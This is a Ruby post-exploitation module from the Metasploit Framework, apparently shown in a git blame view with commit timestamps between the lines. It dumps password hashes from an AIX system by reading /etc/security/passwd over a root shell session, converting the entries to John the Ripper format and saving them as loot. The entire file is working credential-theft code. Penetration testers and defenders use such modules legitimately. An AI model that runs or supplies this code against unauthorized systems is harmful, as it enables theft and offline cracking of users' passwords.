2012-01-07 04:31:22 +00:00
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2012-01-07 04:31:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Linux::Priv
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'AIX Gather Dump Password Hashes',
|
|
|
|
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'Platform' => [ 'aix' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
if is_root?
|
|
|
|
passwd_file = read_file("/etc/security/passwd")
|
|
|
|
jtr = parse_aix_passwd(passwd_file)
|
|
|
|
p = store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File")
|
|
|
|
vprint_status("Passwd saved in: #{p.to_s}")
|
|
|
|
else
|
|
|
|
print_error("You must run this module as root!")
|
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def parse_aix_passwd(aix_file)
|
|
|
|
jtr_file = ""
|
|
|
|
tmp = ""
|
|
|
|
aix_file.each_line do |line|
|
|
|
|
username = line.match(/(\w+:)/)
|
|
|
|
if username
|
|
|
|
tmp = username[0]
|
|
|
|
end
|
|
|
|
hash = line.match(/password = (\w+)/)
|
|
|
|
if hash
|
|
|
|
tmp << hash[1]
|
|
|
|
jtr_file << "#{tmp}\n"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return jtr_file
|
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
|
|
|
|
|
|
|
end
|